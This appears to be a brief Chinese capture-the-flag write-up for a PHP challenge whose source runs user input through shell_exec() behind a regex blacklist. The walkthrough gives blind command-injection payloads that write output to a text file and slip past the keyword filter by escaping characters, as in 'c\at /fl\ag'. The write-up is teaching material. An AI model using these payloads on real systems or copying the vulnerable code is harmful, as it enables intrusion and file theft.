源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){return($cmd);}else{die("i hate this"); }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
过滤了很多东西,但是空格什么的没过滤
发现是用shell_exec()
无回显的命令执行,所以把文件写入txt看结果
判断指令
?cmd=ls / | sleep 5
把回显输入文本文件
两种方法
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt
直接访问
绕过对cat和flag的过滤
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt
总结
无回显RCE
WAF绕过